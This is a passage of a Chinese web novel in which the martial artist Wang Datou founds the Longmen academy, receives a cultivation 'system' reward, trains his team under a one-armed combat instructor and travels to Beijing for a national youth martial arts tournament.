但王大头抬手制止了他。
那三人转眼间已经冲到台前十米处。为首的一人突然从怀里掏出一件东西——不是武器,而是一卷卷轴。他手臂一振,卷轴凌空展开,上面用朱砂写着八个大字:
“离经叛道,武道之耻!”
卷轴在空中停留了三秒,然后那人手腕一翻,卷轴猛地燃烧起来,化作一团火球!
“龙门学院,不过哗众取宠之物!”
另一人高声喊道,声音经过内力催发,传遍全场,“武道传承千年,岂容尔等肆意篡改!今日以此火为鉴,若不停建此院,必遭反噬!”
现场一片哗然。记者们的摄像机齐刷刷转过来,闪光灯亮成一片。
李雅脸色发白,下意识抓住王大头的衣袖。赵师傅眼睛眯起,手中拐杖微微抬起。
所有人都看向王大头。
他却笑了。
不是冷笑,也不是怒笑,而是一种......觉得很有意思的笑。
“说完了?”王大头看向那三人,“还有别的节目吗?比如变个戏法,或者唱段戏?没有的话,轮到我说了。”
他往前走了两步,距离那燃烧的卷轴只有五米远。火焰映在他脸上,明暗交错。
“第一,谢谢你们送来的‘贺礼’。这火烧得不错,正好给我们工地暖暖场子。”
台下有人忍不住笑出声。
“第二,你们背后是谁,我不在乎。回去告诉你们主子——”王大头的声音陡然转冷,“龙门学院建定了。不但要建,还要建得轰轰烈烈,建得人尽皆知。不服?”
他抬起手,对着那团火焰凌空一抓。
没有风声,没有气爆,但所有人都清晰地看到——那团熊熊燃烧的火焰,就像被一只无形的手捏住了喉咙,猛地收缩、扭曲,然后在半空中“噗”地一声,熄灭了。
只剩几缕青烟,和飘落的灰烬。
三个黑衣人僵在原地,口罩上方的眼睛里满是惊骇。
隔空灭火不难,难的是如此轻描淡写,难的是对力量的掌控精细到这种程度!这已经不是化劲初期的境界了!
“滚。”王大头只说了一个字。
那三人如蒙大赦,转身就跑,几个起落就消失在人群外。
现场死寂了几秒,然后爆发出更加狂热的掌声和欢呼!那些原本还有些犹豫的年轻人,此刻眼睛里的光几乎要喷出来!
太帅了!太强了!这才他们想成为的样子!
王大头转过身,重新拿起铁锹,像什么都没发生过一样,继续往基石上添土。
但所有人都知道,刚才那一幕,比任何豪言壮语都更有力量。
奠基仪式在一种近乎沸腾的气氛中结束了。
工程机械轰鸣着开进场内,推土机推平杂草,压路机发出沉闷的撞击声。
尘土飞扬中,一个梦想开始落地生根。
王大头站在高坡上,看着下方忙碌的工地。李雅走过来,递给他一瓶水。
“刚才......你什么时候突破的?”她轻声问。
“昨天晚上。”王大头拧开瓶盖,喝了一口,“算是......想通了一些事。”
他没说具体是什么事,但李雅能感觉到,眼前的男人又不一样了。
不是变陌生了,而是......更深厚了,像海,表面平静,内里却蕴藏着难以测度的力量。
“那三个人,应该是某些保守派派来的。”李雅说,“他们不会善罢甘休。”
“我知道。”王大头望向远处,“这才刚刚开始。学院建起来容易,但要让它立得住,需要更多东西。”
“什么东西?”
“成绩。”王大头说,“第一批学员,必须教出成绩。用事实告诉所有人,我们的路,走得通。”
他转头看向李雅,眼神柔和下来:“这几天辛苦你了。”
“不辛苦。”李雅摇头,嘴角却忍不住上扬,“看着这一切发生,感觉像做梦一样。而且是很美的那种梦。”
王大头也笑了。
他伸出手,握住了李雅的手。
两人并肩站着,看着夕阳给工地镀上一层金红色。
远处的海面上,波光粼粼,有海鸟掠过。
第100章:新的起点
深夜十一点,龙门学院的工地上依旧灯火通明。
探照灯把整个场地照得亮如白昼,桩机的轰鸣声在夜色中传得很远。
工人们分成两班倒,混凝土搅拌车进进出出,戴着安全帽的监理拿着图纸在基坑边比划。
工地外围临时拉起的铁丝网外,还围着不少人。
大多是年轻人,他们也不吵不闹,就隔着铁丝网往里看,眼睛里映着工地的灯火,亮晶晶的。
一个穿着高中校服的男生趴在铁丝网上,对身边的同伴说:“你看那栋楼,以后就是教学楼。听说里面会有全息投影教室,可以模拟各种战斗场景......”
“得了吧,先考上再说。”同伴泼冷水,“报名的人肯定多,竞争激烈着呢。”
“那也得试试!”
男生握紧拳头,“王宗师说了,不问出身!我虽然家里没钱没势,但我能吃苦!我每天跑十公里,做两百个俯卧撑......”
“得得得,知道你厉害。”
类似的对话,在铁丝网外各个角落响起。
希望是一种会传染的东西,它在这里汇聚、发酵,变成一种实实在在的、滚烫的能量。
工地指挥部是个临时搭建的板房。
里面灯光通明,墙上贴满了施工图纸、进度表、人员排班。李雅脱掉了高跟鞋,穿着平底鞋在几张桌子间来回走动,手里的对讲机时不时响起。
“三号基坑排水有问题?我马上让人过去......钢筋型号必须核对清楚,不能有差错......夜班工人的夜宵准备好了吗?要热乎的......”
她语速很快,条理清晰。
几个项目经理围着她,一边记录一边点头。
张猛和雷烈也没闲着。
两人换了工装,戴着安全帽,在工地上巡视。张猛眼睛毒,一眼就看出某个脚手架搭得不规范,扯着嗓子吼起来:“那边!对就是你!爬那么高不系安全带?不要命了?!下来重搭!”
雷烈则蹲在建材堆放区,拿着一本册子核对钢筋和水泥的标号。
他手指粗大,翻页时小心翼翼,那认真的模样和他凶悍的外表格外反差。
赵师傅没在工地。老人家回到龙门总部,坐在他那间满是古籍的静室里,面前摊开几张泛黄的图纸。
那是他凭记忆画出来的几种传统演武场的布局图,有些细节需要和现代建筑设计融合。
而这一切的中心——王大头,此刻却不在工地,也不在总部。
他在海边。
工地往东走五百米,就是一片礁石滩。夜晚的海是深黑色的,浪拍在礁石上,碎成白色的泡沫,哗啦哗啦,周而复始。
王大头盘腿坐在一块最高的礁石上,面向大海。
海风很大,吹得他衣服猎猎作响,头发凌乱地贴在额前。
但他坐得很稳,稳得像脚下这块礁石已经在这里立了千年。
闭上眼睛,意识沉入体内。
泰山一战留下的暗伤已经好得七七八八,【淬体灵液】和自身强大的恢复力起到了关键作用。
但更重要的是那一战的感悟——面对化劲中期的压力,在绝境中爆发,以弱胜强,这种经历本身就是最珍贵的养分。
他能感觉到,丹田里的内力已经发生了质的变化。
不再是单纯的气流,而是更加凝实、更加灵动,像是有生命一般自行运转、壮大。
心念一动,内力便能瞬息间抵达四肢百骸,圆转如意。
这是触摸到先天门槛的征兆。
但还不够。那道门槛看似近在咫尺,实则还隔着一层薄薄的、却坚韧无比的膜。
需要一次契机,或者更深的领悟。
就在他沉浸在内视中时,脑海中,那个久违的声音以一种前所未有的庄重节奏响起。
不是冰冷的机械音,而是带着某种古老韵律的钟鸣般的声响。
“铛——”
意识深处,仿佛有一口尘封的大钟被敲响。
“检测到宿主达成阶段里程碑:稳固根基,开宗立派。”
“势力气运初步凝聚,传承火种已点燃。”
“第一卷主线:【潜龙在渊】,完结评估中......”
黑暗中,浮现出一幅幅画面:快餐店后巷的第一次挥拳;龙门总部前血战林煞;泰山之巅的惊天逆转;还有今天,铁锹插入泥土的瞬间,那些年轻人眼睛里燃起的光。
这些画面快速闪过,最后凝聚成四个古朴的大字:潜龙在渊。
“评估完毕。完成度:卓越。”
“系统权限部分解锁......”
“新篇章载入......”
“第二卷:【龙腾四海】。”
四个新的大字浮现,金光灿灿,带着一种磅礴欲出的气势。
和“潜龙在渊”的含蓄内敛不同,“龙腾四海”充满了张扬、开拓、征服的意味。
“阶段性奖励结算。”
“基于宿主本阶段表现,奖励如下:”
“一、【先天感悟】一份。此非修为灌输,而是通往先天之境的路径指引与关键感悟,需宿主自行消化融合。”
“二、随机特殊物品抽奖机会一次。奖品库已更新,包含**、丹药、奇物、技术图纸等类别。”
“三、【势力建设辅助模块】开启。可提供基础的人员管理、资源调度、发展规划等辅助功能,具体权限随势力成长逐步解锁。”
“特别提示:新篇章将涉及更广阔的舞台。古武世家、隐世门派、海外势力、秘境遗迹......各方角逐将愈发激烈。请宿主尽快提升个人实力,巩固势力根基。”
“奖励将在宿主确认后发放。是否现在领取?”
王大头在意识中回应:“领取【先天感悟】。其余暂存。”
“确认。”
一股浩瀚如星河的信息流涌入脑海。那不是具体的修炼法门,而是一种“理解”,一种“视角”。就像一直在地面行走的人,突然被拎到了高空,俯瞰整个地貌——原来那些崎岖坎坷、那些看似无路的绝境,从更高的角度看,都有其脉络和通道。
关于内力本质的理解,关于天地能量与自身小宇宙的呼应,关于“神”与“气”的合一......无数玄之又玄的概念,此刻变得清晰可触。
他沉浸在这种感悟中,忘记了时间。
直到远处工地的打桩声突然停止——那是夜班工人换班休息的间隙——寂静如潮水般涌来,只有海浪声依旧。
王大头缓缓睁开眼睛。
瞳孔深处,似乎有星河流转,但一闪即逝,恢复成深邃的黑色。
他吐出一口浊气,那气息凝而不散,在空气中划过一道白色的轨迹,飞出三米远才缓缓消散。
站起身,活动了一下四肢。关节发出清脆的响声,不是僵硬的咔吧声,而是充满弹性的、如弓弦轻振般的声响。
低头看向自己的手。皮肤依旧粗糙,指关节上有老茧,但皮肤下隐约有莹润的光泽流动,那是气血充盈到极致的表现。
“先天......”他喃喃自语,握了握拳,“快了。”
转身,跳下礁石,朝着灯火通明的工地走去。
刚走近指挥部板房,就听见里面传来张猛的大嗓门:“......这帮孙子!刚才又抓到两个偷偷拍照的,设备挺专业,一看就是有人派来摸底的!”
“意料之中。”李雅的声音很冷静,“学院动工,盯着的人多了。加强巡逻就行,只要他们不搞破坏,随他们拍。”
“我就是气不过!”张猛愤愤,“咱们正大光明做事,他们就跟阴沟里的老鼠似的......”
“猛子。”王大头推门进来。
屋里几人同时转头。李雅眼睛一亮,张猛和雷烈也站了起来。
“大头哥,你回来了?刚才去哪了?”张猛问。
“海边坐了会儿。”王大头走到桌前,看了眼施工进度图,“怎么样?顺利吗?”
“总体顺利。”
李雅递给他一杯热水,“就是来‘参观’的人太多,安保压力不小。另外,今天下午接到十七通咨询电话,都是问招生条件的。我让助理整理了常见问题,准备做个统一的解答发出去。”
王大头点点头,喝了口水:“师资方面呢?”
“这是目前最大的短板。”
李雅苦笑,“真正有实力、又愿意接受新理念的武者太少了。赵师傅联系了几个老友,但都还在观望。有些倒是愿意来,但开口就是天价薪酬,或者要求特殊待遇。”
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>“不急。”王大头放下杯子,“第一批学员,我亲自带。”
几人一愣。
“你亲自带?”张猛瞪大眼睛,“那龙门这边......”
“龙门有你们。”王大头看向张猛和雷烈,“而且我也不可能一直带。先带出第一批种子,让他们再去带后来者。就像滚雪球。”
他走到窗边,看着外面忙碌的工地:“学院要立的,不止是楼,是规矩,是风气。这第一批人,必须把根子扎正。”
李雅走到他身边,轻声问:“那......招生标准到底怎么定?今天有好几个残疾人来咨询,还有家庭特别困难的......”
“标准很简单。”
王大头说,“笔试考文化基础和逻辑思维,面试看心性意志,体能测试只要达标线——这个达标线,我们会公布一个科学的训练方法,给他们三个月时间准备。只要三个月内能达到,我们就收。”
“至于残疾......”
他顿了顿,“只要生活能基本自理,心智健全,我们单独设计训练方案。武道不止是拳脚,还有更多可能。”
李雅眼睛有些湿润。
她想起了白天那个坐在轮椅上的少年,还有他母亲那双充满祈求的眼睛。
“好。”她用力点头,“我去拟定详细的招生章程。”
这时,赵师傅推门进来。老人家手里拿着几张图纸,脸上带着笑意。
“看看这个。”
他把图纸摊在桌上,“我琢磨了一晚上,把几种传统演武场的优点融合了一下。这个是主训练馆的设计,地面用特殊材料,可以调节硬度。这边是重力训练区,这边是反应训练区......”
几个人围过去,听着赵师傅讲解。
灯光下,老人的白发有些凌乱,但眼神明亮,像个得到新玩具的孩子。
王大头看着这一幕,心里涌起一股暖流。
从一个人,到一群人。从挣扎求生,到开宗立派。
这条路走得不容易,但每一步,都踏踏实实。
“对了。”
赵师傅讲完设计图,突然想起什么,从怀里掏出一个小布包,“今天下午,上官家又派人送了件东西过来。说是他们家老祖的一点心意,恭贺学院奠基。”
布包打开,里面是一枚巴掌大的玉简。青色温润,表面刻着细密的纹路。
“这是......”李雅好奇。
“传功玉简。”
赵师傅神色有些凝重,“上古流传下来的东西,现在几乎绝迹了。需要用特殊方法激发,里面封存着一段意念,可以是**感悟,也可以是影像记录。”
王大头接过玉简。
触手温凉,内里似乎有细微的能量流动。
“上官家这是下血本了啊。”张猛咂舌。
“示好,也是投资。”赵师傅看向王大头,“他们看好你的未来,所以提前下注。收下吧,这份人情,以后总要还的。”
王大头点点头,把玉简小心收好。
夜深了。
工地上,夜班工人开始换班吃饭。
大锅饭的香气飘过来,混合着海风的咸味。
几人走出板房,站在高坡上。
眼前是灯火通明的工地,远处是沉睡的城市,更远处是漆黑的大海和星空。
“真快啊。”
张猛突然感慨,“感觉昨天还在街边大排档喝酒吹牛,今天就站在这儿看咱们自己的学院工地了。”
雷烈难得接话:“是大头哥带咱们走出来的。”
“是大家一起走出来的。”王大头纠正。
李雅轻轻靠在他肩头,没有说话。
星光落在她睫毛上,微微颤动。
赵师傅拄着拐杖,望着星空,许久,轻声念道:“潜龙勿用,阳在下也。见龙在田,利见大人......终日乾乾,与时偕行。或跃在渊,进无咎也......”
这是《易经》乾卦的爻辞。
潜龙在渊,终将或跃在渊,飞龙在天。
王大头听懂了。
他握紧李雅的手,看向身边这些最亲密的伙伴,看向脚下这片正在苏醒的土地。
“我们的路......”他开口,声音被海风吹散,却又清晰地落在每个人心里。
“才刚刚开始。”
第101章:泰山余威,八方来贺
泰山一战的余波,比王大头预想的还要持久。
回到滨海的第三天,龙门总部门口的停车场就没空过。
各色牌照的车辆排着队往里进,有挂着外省牌照的豪车,有低调朴素的越野,甚至还有几辆涂着公务标识的车辆。
会客室里飘着茶香,李雅这几天嗓子都有点哑了——见的人太多了。
“江东武协的刘副会长刚走,送了块‘青年楷模’的牌匾,还想签个合**议,让他们那儿的年轻人来咱们这儿‘交流学习’。”
李雅翻着记事本,揉了揉太阳穴,“湘西铁掌帮的少帮主带了两个长老过来,话里话外想买咱们的药膳配方,开价不低。”
张猛大咧咧地坐在沙发上,啃着苹果:“要我说,直接开价,合适就卖,不合适拉倒。咱们现在又不缺那点钱。”
“不能这么简单。”
赵师傅端着紫砂壶,慢慢啜着茶,“药膳是咱们龙门产业的一块招牌,也是跟普通人世界连接的纽带。配方不能卖,但可以考虑授权合作,或者开分店让他们加盟。关键是得把主动权握在咱们手里。”
王大头站在窗边,看着楼下又一拨人提着礼品走进大厅,心里有种说不出的感觉。
几个月前,他还是个为了几十块配送费奔波的外卖员,现在却成了各方势力争相拜访的对象。
这种感觉不坏,但也让他清醒。
这些人里,有多少是真心的?
有多少是看中他泰山一战展现的实力?有多少是冲着龙门潜在的价值?
又有多少,是暗中打量,想看看这个突然崛起的势力到底有多少斤两,能不能为自己所用?
“咚咚。”
敲门声响起,一个值守弟子恭敬地走进来,手里捧着一个古色古香的檀木盒子。
“龙头,刚才京城来的客人留下的,说是务必亲手交给您。”
李雅接过来,盒子入手沉甸甸的。
打开一看,里面没有书信,只有一张鎏金的硬质卡片,和一枚造型古朴、刻着龙纹的铜质令牌。
卡片上印着几行苍劲的字:
“国家武道协会,诚邀龙门武道研究会负责人,携青年才俊,参加首届‘全国青年武道新秀赛’。”
“赛事旨在交流技艺,发掘新锐,弘扬国术。”
“详情请阅附件,或持此令,于十日内至各省分会报名。”
落款处盖着鲜红的“国家武道协会”公章,还有几个手写的签名,笔力雄浑。
“武道协会?全国大赛?”张猛凑过来看了看,“以前没听说过啊。”
赵师傅放下茶壶,神色有些严肃:“国家武道协会一直存在,但以前更像是个半官方的联谊组织,很少搞这种全国性的正式比赛。看来……泰山这一战,动静太大,把某些层面的目光都吸引过来了。”
王大头拿起那枚铜令,令牌触手温润,隐隐能感觉到其中蕴含着一丝极其微弱的、类似内力的波动,但又有些不同,更中正平和。
“这令牌不简单。”
他仔细感应着,“像是某种信物,也可能有防伪或者定位的功能。”
“去吗?”
李雅看向王大头,眼神里有期待,也有担忧。去,意味着龙门正式进入国家层面的视野,机会和风险并存。不去,可能就错过了重要的舞台,也会显得畏首畏尾。
“去。”
王大头几乎没有犹豫,将令牌握在手心,“既然是全国性的比赛,肯定能见到各地的高手。咱们关起门来自己练,永远不知道天有多高。而且……”
他目光扫过众人:“这也是个机会,让更多人看看,咱们龙门的‘科学武道’,到底行不行。”
张猛顿时兴奋起来:“好!早该出去会会那些所谓的名门正派了!看看是他们的传**夫厉害,还是咱们的新路子管用!”
“别高兴太早。”
赵师傅泼了盆冷水,“这种全国性的比赛,水深得很。各大世家、宗门、流派,肯定都会派出最优秀的年轻弟子。咱们龙门成立时间短,除了大头,年轻一辈里能拿得出手的不多。而且,比赛规则、裁判倾向、背后的人情世故……都得考虑。”
王大头点头:“师傅说得对。咱们不能只靠我一个人。得尽快组建一支队伍,抓紧时间集训。”
他看向李雅:“雅姐,回复武道协会,龙门应邀参赛。另外,查一下比赛的详细规则和往届资料——虽然这是第一届‘新秀赛’,但类似的比赛以前应该有过。”
他又看向张猛:“猛哥,在内部发个通知,选拔二十岁以下的优秀弟子,准备参加内部选拔。条件就两条:第一,实力过硬;第二,对咱们‘科学武道’的理念有理解,能灵活运用。”
“明白!”张猛摩拳擦掌。
赵师傅沉吟了一下,说道:“光有武道训练还不够。这种比赛,有时候比的不仅仅是个人武力。我认识一个老伙计,以前是特种部队的格斗教官,后来因为伤病退役。他
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对现代搏击、战术配合很有研究,或许可以请他来,给孩子们上上课,开阔一下思路。”
王大头眼睛一亮:“太好了!那就麻烦师傅联系一下。我们需要更多不同的视角。”
事情就这样定了下来。
龙门这台刚刚因泰山之战而高速运转的机器,又有了新的目标。
接下来的几天,龙门内部选拔如火如荼地进行。
年轻弟子们热情高涨,谁不想代表龙门去全国舞台露脸?
擂台赛一场接一场,倒是涌现出几个不错的苗子。
一个叫孙浩的十七岁少年,原本是体校田径队的,被龙门吸收后修炼《基础吐纳术》,结合他原本的爆发力,速度奇快,招式简洁凌厉。
另一个叫周倩的女孩,才十六岁,心思缜密,文化课成绩很好,对王大头讲解的发力原理、角度计算领悟极快,在切磋中常常能以巧破力,让人眼前一亮。
王大头亲自观察了几场选拔,心里渐渐有了底。
龙门缺的是时间和底蕴,但不缺好苗子和敢打敢拼的劲头。
这天下午,赵师傅领着一个人来到了训练场。
来人看起来五十多岁,个子不高,甚至有些瘦小,穿着洗得发白的绿色作训裤和黑色短袖,站姿笔挺,眼神锐利得像鹰。
他脸上有几道淡淡的疤痕,右手虎口处有厚厚的老茧。最引人注目的是他的左手,袖管空空,显然断了一臂。
“介绍一下,”
赵师傅对王大头说,“雷战,我当年在部队时的老战友,最好的侦察兵和格斗教官。”
雷战的目光在王大头身上扫过,没有任何寒暄,直接开口,声音沙哑却有力:“老赵说你们这儿有些不一样的东西,让我来看看。先说好,我教的东西,不是为了比赛拿奖,是为了在最短时间内,用最有效的方式,让敌人失去战斗力。可能不太好看,但绝对实用。”
王大头迎上他的目光,没有因为对方的直接和残缺而有任何轻视,反而郑重地抱拳:“雷教官,欢迎。我们需要的就是实用的东西。好看不能当饭吃,能赢才行。”
雷战盯着王大头看了几秒,那目光仿佛能穿透人心。
半晌,他嘴角似乎极轻微地扯动了一下:“有点意思。那就让我看看,你们这些练‘传统功夫’的,骨头硬不硬,脑子活不活。”
他转身,面向场上正在练习的龙门弟子,独臂一挥:“都停下!从现在开始,按我的规矩来!”
第102章:赛前集训,魔鬼教官
雷战的“规矩”,简单粗暴到让习惯了循序渐进练功的龙门弟子们有点发懵。
“第一课,忘掉你们那些漂亮的套路架子!”
雷战独臂背在身后,仅存的右手食指像根铁棍一样点着空气,“擂台是擂台,战场是战场。今天教你们的,是怎么在最短距离,用最小的动作,攻击人体最脆弱的地方!”
他让一个身材魁梧的弟子(自愿当靶子的张猛)站在场地中间。
“眼睛!”
雷战脚步一滑,明明动作不大,却瞬间贴近张猛右侧,右手食指和中指并拢如剑,在离张猛眼球还有一寸的地方停住,“戳、抠、扫!别管什么招式,能让对方暂时失明就是好招!”
张猛下意识地眨眼,额头冒汗。
虽然知道是演示,但那股凌厉的杀气做不得假。
“咽喉!”雷战的手瞬间下移,手掌边缘虚砍在张猛喉结下方,“掌缘、拳棱、肘尖!一击打实,战斗结束!”
“下阴!”雷战膝盖微微一提,在张猛裤裆前停住,动作快得几乎看不清,“别觉得下作!生死之间,没有下作,只有生死!”
“腋下、肋下、膝盖侧后方、脚背……”雷战如数家珍,每说一处,就有相应的攻击动作演示,快、准、狠,没有任何花哨,全是奔着一击致残、快速解决战斗去的。
年轻的弟子们看得目瞪口呆,一些女弟子更是脸红耳赤。
这跟他们平时练习的拳法掌法,讲究发力完整、招式连贯,完全不是一个路数。
“觉得粗野?不讲究?”
雷战停下动作,目光冷冷地扫过全场,“等你们被人按在地上,拳头朝脸上招呼的时候,就知道讲究顶个屁用!武术最早就是**技!后来才慢慢变成强身健体、表演竞技的东西。我今天教你们的,就是把它最原始的那部分,捡回来一点!”
王大头在一旁看着,心中暗暗点头。
雷战教的东西,确实弥补了龙门弟子目前的一个短板——他们练的是“功夫”,是系统性的提升,但在极端情况下的搏命意识和针对性打击技巧上,缺乏训练。
科学武道讲究原理和效率,而雷战教的,则是将这种效率推向极致的、经过实战检验的“肮脏”技巧。
“第二课,环境利用!”
雷战走到训练场边缘,那里散落着一些哑铃、绳梯、垫子。“你们以为擂台就是干干净净一块地?错了!任何东西都可以是武器,任何地形都可以利用!”
他脚尖一挑,一个五公斤的哑铃飞起,右手抓住,做出投掷、砸击、格挡的动作。“沙子迷眼,椅子砸头,利用墙角限制对方移动……动起来!别像个木桩子似的!”
接下来几天,龙门选**的年轻队员们,经历了地狱般的“加训”。
上午,依然是常规的桩功、内力运转、套路练习(赵师傅和王大头负责)。
下午,则完全交给了雷战。
训练内容五花八门:近距离缠斗解脱、被多人**时的突围走位、如何在倒地后快速反击、甚至包括简单的陷阱布置和野外追踪与反追踪知识。
雷战的教学方式极其严苛,甚至有些粗暴。
动作慢了,骂;理解错了,罚;体力不支?加练!
他那只独臂仿佛有千钧之力,示范动作时简洁有力,纠正错误时一点不留情面,常常一个寸劲打在弟子们发力错误的位置,疼得他们龇牙咧嘴,但也印象极其深刻。
“你们那个王龙头,路子有点意思。”
一次休息间隙,雷战难得主动跟赵师傅聊起天,他接过赵师傅递来的水壶,灌了一大口,“不迷信老一套,愿意接受新东西。他教的那些发力分析、角度计算,跟我当年在部队学的快速格杀术,有些道理是通的。都是怎么用最小的代价,换取最大的效果。”
赵师傅笑了笑:“这孩子是块璞玉,更难得的是心性正,脑子活。就是根基还浅,需要多经历。”
“这次比赛,是个好机会。”
雷战看着场上挥汗如雨的少年们,“不过,光练这些‘野路子’还不够。他们缺实战,缺跟不同风格高手交手的经验。我这点东西,是底牌,是保命的,但不能成为依赖。真正要在正规比赛里走得远,还得靠他们自己练出来的硬功夫,和这里。”他用手指点了点自己的太阳穴。
集训到第七天,雷战把王大头和准备参赛的五人小队叫到一起。
除了王大头、张猛,另外三人是:速度见长的孙浩、心思灵巧的周倩,以及一个叫吴刚的十八岁少年,他力量天赋不错,练的是王大头改良后的基础硬功,下盘极稳。
“你们五个,算是一个初步的战术小组。”
雷战用炭笔在一块白板上画着简单的示意图,“比赛如果是团队战,就要有配合。王大头,你是核心,也是最强点,负责正面攻坚和应对对方最强手。张猛,你经
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验多,皮糙肉厚,负责掩护侧翼,保护两个小的。”
他指向孙浩和周倩:“你们两个,是奇兵。孙浩速度快,游走骚扰,寻找机会一击必杀。周倩,你观察力强,负责分析和提醒,找对方破绽,也可以用你的巧劲配合其他人。”
最后指向吴刚:“你,就是盾。不需要你多能打,但一定要站得住!关键时刻,你要能挡在队友前面,创造机会!”
简单的战术分配,却让五人瞬间有了团队的感觉。他们之前更多是各自练习,虽然熟悉,但缺乏这种明确的战场定位。
“另外,”
雷战神色严肃起来,“我收到一些老战友传来的风声。这次全国新秀赛,没那么简单。有些传统的世家、大宗门,对突然冒出来的龙门,还有你王龙头‘科学武道’的说法,很不以为然。比赛中,你们可能会遇到一些……特别的‘关照’。”
王大头眼神一凝:“雷教官的意思是?”
“意思就是,做好准备,可能会有人下黑手,或者用盘外招。”
雷战独臂拍了拍王大头的肩膀,“不过也不用太担心。国家武道协会既然出面组织,面上还是要讲规矩的。只要你们实力够硬,打服他们,一切闲言碎语自然就没了。”
“实力……”王大头握了握拳头。他从未怀疑过这一点。
集训最后一天,雷战进行了一次模拟对抗。
他将五人小队分成两组,设定不同场景进行攻防。
结果有好有坏,配合还很生疏,但每个人都对自身在团队中的角色有了更深的理解。
傍晚,训练结束。
夕阳给训练场镀上一层金色。
雷战收拾好自己的小包,走到王大头面前:“能教的,我都教了。剩下的,看你们自己。记住,功夫是死的,人是活的。别被任何东西束缚住,包括我教你们的这些。”
“多谢雷教官!”
王大头和队员们齐齐鞠躬。
雷战摆摆手,转身走向门口,背影瘦削却挺拔。
走到门口时,他忽然停下,回头,难得地露出一个极淡的笑容:“对了,要是真在比赛里遇到那些眼高于顶的世家子弟,替我多揍几个。我看那帮家伙,早就不顺眼了。”
说完,拉开门,消失在门外。
众人面面相觑,随即都笑了。
这位魔鬼教官,倒是性格爽朗。
第二天,龙门参赛小队,踏上了前往京城的列车。
第103章:抵达京城,初识天下
高铁在华北平原上飞驰,窗外的景色从江南的婉约逐渐变得开阔硬朗。
龙门一行六人(王大头、张猛、孙浩、周倩、吴刚,加上负责后勤联络的李雅)买的是商务座,倒不是摆阔,主要是雷战临走前特意交代:“出门在外,尤其是去那种鱼龙混杂的地方,有条件就别省那点钱。商务座人少清静,少些不必要的麻烦,养精蓄锐。”
此刻,车厢里确实安静。
孙浩和吴刚两个少年扒着窗户,兴奋地看着外面飞速**的田野和城镇。
周倩则安静地翻看着李雅整理的、关于此次新秀赛的已知情报汇总——主要是从武道协会官网和一些武道论坛上搜集来的零碎信息。
张猛压低声音对王大头说:“大头,我刚才去车厢连接处抽烟,瞅见隔壁车厢有几个小子,眼神挺贼,往咱们这边瞄了好几眼。看打扮和那股劲儿,不像普通人,八成也是去参加那劳什子比赛的。”
王大头微微点头,他其实也感应到了。
那几个人气息沉稳,太阳穴微鼓,虽然刻意收敛,但行走坐卧间还是能看出练家子的底子,而且带着一股子傲气。
“兵来将挡。”
王大头淡淡道,“咱们是来比赛的,不是来惹事的。但也别怕事。”
李雅合上笔记本,揉了揉眉心:“协会那边把赛程和注意事项发过来了。比赛分个人赛和团队赛。个人赛先进行,算是预选,淘汰掉大部分人。团队赛需要以机构或流派为单位报名,最少三人,最多五人。咱们报的是团队赛,五个人正好。”
“个人赛咱们参加吗?”周倩抬头问。
“参加。”王大头肯定地说,“个人赛是很好的磨练机会,能跟不同流派的人交手,积累经验。名次不重要,重要的是感受差距,学习别人的长处。”
他顿了顿,看向几个年轻队员:“不过,个人赛中如果遇到实力悬殊、或者感觉对方下手特别狠的,不要硬拼。安全第一,咱们的目标是团队赛。”
几个少年用力点头,眼神里既有紧张,也有兴奋。
列车缓缓驶入京城南站。
一下车,一股干燥且带着些许尘嚣的空气扑面而来,与滨海湿润的海风截然不同。
车站巨大的人流和嘈杂的声浪,也让孙浩、吴刚这些第一次出远门的少年有些无所适从。
“跟紧我,别走散了。”
李雅像只护崽的母鸡,熟练地招呼着大家,同时目光锐利地扫视着周围。她提前联系了协会安排的接待人员。
很快,一个穿着灰色中山装、戴着眼镜、看起来三十岁左右、文质彬彬的男子举着“龙门武道研究会”的牌子迎了上来。
“请问是滨海龙门研究会的王会长吗?我是协会秘书处的小林,负责接待你们。”
男子笑容得体,语速平稳,“车已经在外面等着了,我先送各位去酒店入住。下午如果各位不累,可以先到协会总部熟悉一下场地,领取参赛证件和资料。”
“麻烦了。”王大头点头致谢。
来接他们的是一辆七座的商务车。
车子驶出车站,汇入京城滚滚的车流。
高楼大厦,立交桥纵横,现代化的繁华扑面而来,也让几个少年看得目不转睛。
“王会长第一次来京城吧?”
小林秘书一边指路,一边随口聊着,“这次新秀赛,规模挺大的。全国各省市,有头有脸的武道团体、世家、武馆,基本都派人来了。连一些平时很少露面的隐世流派,据说都有传人出世。”
“哦?都有哪些值得注意的高手或流派?”王大头顺着话头问。
小林秘书从后视镜看了王大头一眼,笑容不变:“这我可不好多说。不过,几位到了总部,看到那些来报名的队伍,大概就能心里有数了。只能说,藏龙卧虎,不少都是自幼习武,得了真传的。”
话里话外,似乎带着一丝不易察觉的提醒,或者说是……淡淡的疏离感。
显然,在协会这些办事人员眼里,龙门这个新冒出来的、名不见经传的地方团体,大概也就是来“见见世面”的陪跑角色。
张猛听出点味道,哼了一声,没说话。
王大头只是笑了笑,没再接茬。
酒店位于三环边,不算特别豪华,但干净整洁。
协会统一安排的,据说所有参赛队伍都住在这附近几家酒店。
果然,在酒店大堂办理入住时,就遇到了好几拨同样气质精悍、眼神明亮的年轻人。
有的穿着统一的练功服,有的则穿着时尚的运动装,彼此之间目光接触,都带着审视和较量的意味。
“看,那边是西山‘八极拳’郭家的人,带队的是郭老爷子的小儿子郭震,听说得了真传,厉害得很。”
“那边穿白衣服的,是川中‘唐门’的外门弟子吧?怎么也来了?”
“哟,青城剑派的人也到了,那个背剑的年轻人,气场好强!”
几个先到的参赛者在小声议论,目光不时瞟向新来的队伍。
当看到龙门几人时,大多露出疑惑和打量的神色。
“这又是哪家?看着面生。”
“牌子写的‘龙门’……没听说过啊?哪个省的?”
“好像是江东省滨海市的?一个小地方来的吧?”
“那个领头的挺年轻啊,就是最近传言在泰山跟人打架的那个?”
议论声不大,但以王大头几人的耳力,听得清清楚楚。
孙浩、吴刚脸色有些涨红,周倩则抿了抿嘴唇。张猛眼睛一瞪,就要开口,被王大头用眼神制止。
“走,上楼放行李。”王大头平静地说,仿佛没听到那些议论。
放好行李,简单洗漱后,众人按照约定,再次集合,前往国家武道协会总部。
总部是一栋古朴与现代结合的大楼,坐落在一片安静的园林区。
门口有身穿黑色安保制服、气息精悍的人员检查证件。
进入大厅,一股庄重肃穆的气氛扑面而来。
地面光可鉴人,高高的穹顶上绘着传统的祥云仙鹤图案,四周墙壁上则挂着一些黑白老照片,记录着近代武术名家的风采。
大厅里已经**了不少人,三五成群,都是各支参赛队伍。
年轻人的喧哗声被这庄重的环境压抑着,变成了嗡嗡的低语。
